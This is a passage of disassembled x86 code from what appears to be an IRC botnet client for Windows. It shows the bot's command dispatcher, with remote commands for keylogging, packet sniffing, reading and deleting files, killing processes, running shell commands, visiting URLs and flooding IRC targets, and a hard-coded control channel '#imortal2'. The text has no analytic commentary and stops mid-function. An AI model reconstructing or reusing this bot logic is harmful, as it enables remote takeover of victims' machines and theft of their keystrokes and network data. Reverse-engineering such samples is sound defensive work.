push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
call sub_41ECDE
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60E
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPartSS ; "part %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405B36: ; CODE XREF: sub_40274D+32C8j
; sub_40274D+32D2j
push [ebp+4Ch+var_8]
push offset dword_42E70C
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405BC6
cmp [ebp+esi+4Ch+var_9C], ebx
jz short loc_405BC6
call ds:dword_42B038 ; GetTickCount
push eax
call sub_41ECD4
pop ecx
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call sub_41ECDE
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+4Ch+var_2D0]
push edx
push [ebp+esi+4Ch+var_9C]
push offset dword_42E6E4
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
loc_405BC6: ; CODE XREF: sub_40274D+33FAj
; sub_40274D+3400j
push [ebp+4Ch+var_8]
push offset aNick_0 ; "nick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405CC0
mov eax, [ebp+esi+4Ch+var_9C]
cmp eax, ebx
jz loc_405CC0
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
lea eax, [ebp+4Ch+var_4C4]
push eax
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+4Ch+var_4C4]
push eax
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
call sub_41ECDE
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+4Ch+var_4C4]
push eax
call sub_41A293
lea eax, [ebp+4Ch+var_4C4]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405CC0: ; CODE XREF: sub_40274D+348Aj
; sub_40274D+3496j
push [ebp+4Ch+var_8]
push offset aChgnick ; "chgnick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_405D06
lea eax, [ebp+4Ch+var_17D8]
push eax
call sub_41A293
lea eax, [ebp+4Ch+var_17D8]
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405D06: ; CODE XREF: sub_40274D+3584j
push [ebp+4Ch+var_8]
push offset aMsg ; "msg"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405DE3
cmp [ebp+esi+4Ch+var_9C], ebx
jz loc_405DE3
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
call sub_41ECDE
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
call sub_41ECDE
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPrivmsgSS ; "privmsg %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405DE3: ; CODE XREF: sub_40274D+35CAj
; sub_40274D+35D4j
push [ebp+4Ch+var_8]
push offset aNotice_0 ; "notice"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405EC0
cmp [ebp+esi+4Ch+var_9C], ebx
jz loc_405EC0
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 24h
call sub_41ECDE
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
call sub_41ECDE
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_405EC0: ; CODE XREF: sub_40274D+36A7j
; sub_40274D+36B1j
push [ebp+4Ch+var_8]
push offset aCtcp ; "ctcp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_405FC2
cmp [ebp+esi+4Ch+var_9C], ebx
jz loc_405FC2
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E69C
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 20h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E684
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E66C
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E66C
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 10h
loc_405FC2: ; CODE XREF: sub_40274D+3784j
; sub_40274D+378Ej
push [ebp+4Ch+var_8]
push offset aMix ; "mix"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4060D3
cmp [ebp+esi+4Ch+var_9C], ebx
jz loc_4060D3
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aJoinS ; "join %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E69C
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 20h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
call sub_41ECDE
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset byte_42C60F
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNoticeSS_1 ; "NOTICE %s :%s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_4060D3: ; CODE XREF: sub_40274D+3886j
; sub_40274D+3890j
push [ebp+4Ch+var_8]
push offset aRegister ; "register"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406113
mov eax, [ebp+esi+4Ch+var_98]
cmp eax, ebx
jz short loc_406113
push eax
push [ebp+esi+4Ch+var_9C]
lea eax, [ebp+4Ch+var_2D0]
push offset aNickservRegist ; "nickserv register %s %s"
push eax
call sub_41E6A6
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41A24C
add esp, 14h
loc_406113: ; CODE XREF: sub_40274D+3997j
; sub_40274D+399Fj
push [ebp+4Ch+var_8]
push offset aOff ; "off"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406CD6
mov edi, offset dword_4DB58C
loc_40612F: ; CODE XREF: sub_40274D+3A01j
cmp dword ptr [edi-4], 1
jnz short loc_406142
mov eax, [edi]
cmp eax, ebx
jbe short loc_406142
push eax
call ds:dword_444218 ; closesocket
loc_406142: ; CODE XREF: sub_40274D+39E6j
; sub_40274D+39ECj
add edi, 210h
cmp edi, offset dword_4E1CAC
jl short loc_40612F
cmp [ebp+4Ch+var_C], ebx
jnz loc_406CD6
push ebx
push [ebp+4Ch+var_4]
push offset unk_42E60C
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_40123B
add esp, 14h
jmp loc_406CD6
; ---------------------------------------------------------------------------
loc_406175: ; CODE XREF: sub_40274D+2F7Aj
mov edi, [ebp+4Ch+var_10]
push edi
push offset aNick_0 ; "nick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409FBE
push edi
push offset aN ; "n"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409FBE
push edi
push offset aJoin ; "join"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F95
push edi
push offset aJ ; "j"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F95
push edi
push offset aPart_0 ; "part"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F7B
push edi
push offset aPt ; "pt"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F7B
push edi
push offset aRaw ; "raw"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F45
push edi
push offset aR ; "r"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409F45
push edi
push offset aKillthread ; "killthread"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409E9F
push edi
push offset aK ; "k"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409E9F
push edi
push offset aC_quit ; "c_quit"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409DF1
push edi
push offset aC_q ; "c_q"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409DF1
push edi
push offset aC_rndnick ; "c_rndnick"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D7C
push edi
push offset aC_rn ; "c_rn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D7C
push edi
push offset aPrefix ; "prefix"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D63
push edi
push offset aPr ; "pr"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D63
push edi
push offset aOpen ; "open"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D35
push edi
push offset aO ; "o"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D35
push edi
push offset aServer_1 ; "server"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D0C
push edi
push offset aSe ; "se"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409D0C
push edi
push offset aDns ; "dns"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409CA4
push edi
push offset aDn ; "dn"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409CA4
push edi
push offset aKillproc ; "killproc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409C74
push edi
push offset aKp ; "kp"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409C74
push edi
push offset aKill ; "kill"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409C18
push edi
push offset aKi ; "ki"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409C18
push edi
push offset aDelete ; "delete"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409BDD
push edi
push offset aDel ; "del"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409BDD
push edi
push offset aGet_0 ; "get"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409B06
push edi
push offset aGt ; "gt"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409B06
push edi
push offset aList ; "list"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409AEA
push edi
push offset aLi ; "li"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409AEA
push edi
push offset aVisit ; "visit"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409A00
push edi
push offset aV ; "v"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409A00
push edi
push offset aMirccmd ; "mirccmd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40998D
push edi
push offset aMirc ; "mirc"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_40998D
push edi
push offset aCmd ; "cmd"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409937
push edi
push offset aCm ; "cm"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_409937
push edi
push offset aReadfile ; "readfile"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4098AF
push edi
push offset aRf ; "rf"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz loc_4098AF
push edi
push offset aPsniff ; "psniff"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406608
push [ebp+4Ch+var_8]
push offset aOn ; "on"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4065CE
push 20h
call sub_40B075
test eax, eax
pop ecx
jle short loc_406502
push offset dword_42E510
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406502: ; CODE XREF: sub_40274D+3DA9j
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
mov [ebp+4Ch+var_FF4], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_F6C], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_F68], eax
jnz short loc_40653E
push offset byte_42B633
mov esi, offset aImortal2_1 ; "#imortal2"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_40653E
mov esi, [ebp+4Ch+var_9C]
loc_40653E: ; CODE XREF: sub_40274D+3DD6j
; sub_40274D+3DECj
push esi
lea eax, [ebp+4Ch+var_FF0]
push 80h
push eax
call sub_41E6FE
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E4E0
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 20h
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_F70], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_FF4]
push eax
push offset word_414ECA
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_F70]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4065C1
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42E4A4
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4065B9: ; CODE XREF: sub_40274D+3E7Aj
push 32h
call ds:dword_42B014 ; Sleep
loc_4065C1: ; CODE XREF: sub_40274D+3E59j
cmp [ebp+4Ch+var_F64], ebx
jz short loc_4065B9
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_4065CE: ; CODE XREF: sub_40274D+3D99j
push [ebp+4Ch+var_8]
push offset aOff ; "off"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 20h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_4065FE
push eax
push offset dword_42E468
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4065FE: ; CODE XREF: sub_40274D+3EA4j
push offset dword_42E43C
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406608: ; CODE XREF: sub_40274D+3D82j
push edi
push offset aSniffer ; "sniffer"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406750
push [ebp+4Ch+var_8]
push offset aOn ; "on"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406716
push 21h
call sub_40B075
test eax, eax
pop ecx
jle short loc_40664A
push offset unk_42E414
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40664A: ; CODE XREF: sub_40274D+3EF1j
mov eax, [ebp+4Ch+arg_4]
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
mov [ebp+4Ch+var_ECC], eax
mov eax, [ebp+4Ch+var_4]
mov [ebp+4Ch+var_E44], eax
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_E40], eax
jnz short loc_406686
push offset byte_42B633
mov esi, offset aImortal2_1 ; "#imortal2"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406686
mov esi, [ebp+4Ch+var_9C]
loc_406686: ; CODE XREF: sub_40274D+3F1Ej
; sub_40274D+3F34j
push esi
lea eax, [ebp+4Ch+var_EC8]
push 80h
push eax
call sub_41E6FE
lea eax, [ebp+4Ch+var_2D0]
push offset unk_42E3E4
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 21h
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_E48], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_ECC]
push eax
push offset word_41549E
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_E48]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_406709
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_42E3A8
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406701: ; CODE XREF: sub_40274D+3FC2j
push 32h
call ds:dword_42B014 ; Sleep
loc_406709: ; CODE XREF: sub_40274D+3FA1j
cmp [ebp+4Ch+var_E3C], ebx
jz short loc_406701
jmp loc_40698D
; ---------------------------------------------------------------------------
loc_406716: ; CODE XREF: sub_40274D+3EE1j
push [ebp+4Ch+var_8]
push offset aOff ; "off"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 21h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_406746
push eax
push offset unk_42E368
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406746: ; CODE XREF: sub_40274D+3FECj
push offset unk_42E334
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406750: ; CODE XREF: sub_40274D+3ECAj
push edi
push offset aIdent ; "ident"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406825
push [ebp+4Ch+var_8]
push offset aOn ; "on"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4067EB
push 2
call sub_40B075
test eax, eax
pop ecx
lea eax, [ebp+4Ch+var_2D0]
jle short loc_406794
push offset dword_42E30C
jmp loc_4078CF
; ---------------------------------------------------------------------------
loc_406794: ; CODE XREF: sub_40274D+403Bj
push offset dword_42E2E0
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 2
push eax
call sub_40AE85
add esp, 14h
mov esi, eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
push esi
push offset loc_41321D
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
imul esi, 234h
cmp eax, ebx
mov ds:dword_4444FC[esi], eax
jnz loc_40698D
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42E2AC
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_4067EB: ; CODE XREF: sub_40274D+4029j
push [ebp+4Ch+var_8]
push offset aOff ; "off"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 2
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_40681B
push eax
push offset dword_42E274
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_40681B: ; CODE XREF: sub_40274D+40C1j
push offset dword_42E254
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_406825: ; CODE XREF: sub_40274D+4012j
push edi
push offset aKeylog ; "keylog"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_4069C6
push [ebp+4Ch+var_8]
push offset aOn ; "on"
call sub_41E990
test eax, eax
pop ecx
pop ecx
mov edi, offset aFile ; "file"
jz short loc_40689B
push [ebp+4Ch+var_8]
push edi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jz short loc_40689B
push [ebp+4Ch+var_8]
push offset aOff ; "off"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_40698D
push ebx
push 23h
call sub_40B028
cmp eax, ebx
pop ecx
pop ecx
jle short loc_406891
push eax
push offset dword_42E208
jmp loc_40697E
; ---------------------------------------------------------------------------
loc_406891: ; CODE XREF: sub_40274D+4137j
push offset dword_42E1DC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_40689B: ; CODE XREF: sub_40274D+4103j
; sub_40274D+4112j
push 23h
call sub_40B075
test eax, eax
pop ecx
jle short loc_4068B1
push offset dword_42E1BC
jmp loc_4078C9
; ---------------------------------------------------------------------------
loc_4068B1: ; CODE XREF: sub_40274D+4158j
mov eax, [ebp+4Ch+arg_4]
push [ebp+4Ch+var_8]
mov [ebp+4Ch+var_C64], eax
mov eax, [ebp+4Ch+var_4]
push edi
mov [ebp+4Ch+var_BDC], eax
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_4068DE
mov [ebp+4Ch+var_BD8], 1
jmp short loc_4068E7
; ---------------------------------------------------------------------------
loc_4068DE: ; CODE XREF: sub_40274D+4183j
mov eax, [ebp+4Ch+var_C]
mov [ebp+4Ch+var_BD8], eax
loc_4068E7: ; CODE XREF: sub_40274D+418Fj
mov esi, [ebp+esi+4Ch+var_9C]
cmp esi, ebx
jnz short loc_406908
push offset byte_42B633
mov esi, offset aImortal2_2 ; "#imortal2"
push esi
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406908
mov esi, [ebp+4Ch+var_9C]
loc_406908: ; CODE XREF: sub_40274D+41A0j
; sub_40274D+41B6j
push esi
lea eax, [ebp+4Ch+var_C5C]
push 80h
push eax
call sub_41E6FE
lea eax, [ebp+4Ch+var_2D0]
push offset dword_42E198
push eax
call sub_41E6A6
push ebx
lea eax, [ebp+4Ch+var_2D0]
push 23h
push eax
call sub_40AE85
add esp, 20h
mov [ebp+4Ch+var_C60], eax
lea eax, [ebp+4Ch+var_1C]
push eax
push ebx
lea eax, [ebp+4Ch+var_C64]
push eax
push offset aUnlMb_0 ; "Ul$ŒìÜ\b"
push ebx
push ebx
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+4Ch+var_C60]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4444FC[ecx], eax
jnz short loc_4069BC
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset dword_42E15C
loc_40697E: ; CODE XREF: sub_40274D+1F36j
; sub_40274D+2CAAj ...
lea eax, [ebp+4Ch+var_2D0]
push eax
call sub_41E6A6
loc_40698A: ; CODE XREF: sub_40274D+2C9Fj
; sub_40274D+52ADj
add esp, 0Ch
loc_40698D: ; CODE XREF: sub_40274D+1F4Bj
; sub_40274D+2CDAj ...
cmp [ebp+4Ch+var_C], ebx
jnz loc_408D10
push ebx
push [ebp+4Ch+var_4]
lea eax, [ebp+4Ch+var_2D0]
push eax
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
loc_4069A7: ; CODE XREF: sub_40274D+628Bj
call sub_40123B
add esp, 14h
jmp loc_408D10
; ---------------------------------------------------------------------------
loc_4069B4: ; CODE XREF: sub_40274D+4275j
push 32h
call ds:dword_42B014 ; Sleep
loc_4069BC: ; CODE XREF: sub_40274D+4223j
cmp [ebp+4Ch+var_BD4], ebx
jz short loc_4069B4
jmp short loc_40698D
; ---------------------------------------------------------------------------
loc_4069C6: ; CODE XREF: sub_40274D+40E7j
push edi
push offset aNet ; "net"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz loc_406C82
cmp ds:dword_444274, ebx
jz short loc_4069F5
cmp ds:dword_44429C, ebx
jz short loc_4069F5
push offset unk_42E120
jmp loc_406C3F
; ---------------------------------------------------------------------------
loc_4069F5: ; CODE XREF: sub_40274D+4294j
; sub_40274D+429Cj
cmp [ebp+4Ch+var_18], ebx
jz loc_406C4D
mov edi, [ebp+esi+4Ch+var_9C]
cmp edi, ebx
mov [ebp+4Ch+arg_0], ebx
jz short loc_406A17
push edi
push [ebp+4Ch+var_18]
call sub_41F090
pop ecx
pop ecx
mov [ebp+4Ch+arg_0], eax
loc_406A17: ; CODE XREF: sub_40274D+42BAj
push [ebp+4Ch+var_8]
push offset aStart ; "start"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406A81
cmp edi, ebx
jz short loc_406A52
push [ebp+4Ch+arg_0]
push 3
loc_406A33: ; CODE XREF: sub_40274D+434Cj
; sub_40274D+4366j ...
call sub_41BF46
push eax
lea eax, [ebp+4Ch+var_2D0]
push offset aS ; "%s"
push eax
call sub_41E6A6
add esp, 14h
jmp loc_406C4D
; ---------------------------------------------------------------------------
loc_406A52: ; CODE XREF: sub_40274D+42DFj
push [ebp+4Ch+var_4]
push [ebp+4Ch+var_9C]
push [ebp+4Ch+arg_4]
call sub_41B681
add esp, 0Ch
test eax, eax
lea eax, [ebp+4Ch+var_2D0]
jz short loc_406A77
push offset unk_42E0F4
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406A77: ; CODE XREF: sub_40274D+431Ej
push offset unk_42E0D4
jmp loc_406C45
; ---------------------------------------------------------------------------
loc_406A81: ; CODE XREF: sub_40274D+42DBj
push [ebp+4Ch+var_8]
push offset aStop ; "stop"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406A9B
push [ebp+4Ch+arg_0]
push 4
jmp short loc_406A33
; ---------------------------------------------------------------------------
loc_406A9B: ; CODE XREF: sub_40274D+4345j
push [ebp+4Ch+var_8]
push offset aPause ; "pause"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406AB8
push [ebp+4Ch+arg_0]
push 5
jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AB8: ; CODE XREF: sub_40274D+435Fj
push [ebp+4Ch+var_8]
push offset aContinue ; "continue"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406AD5
push [ebp+4Ch+arg_0]
push 6
jmp loc_406A33
; ---------------------------------------------------------------------------
loc_406AD5: ; CODE XREF: sub_40274D+437Cj
push [ebp+4Ch+var_8]
push offset aDelete ; "delete"
call sub_41E990
test eax, eax
pop ecx
pop ecx
jnz short loc_406AF2
push [ebp+4Ch+arg_0]
push 1
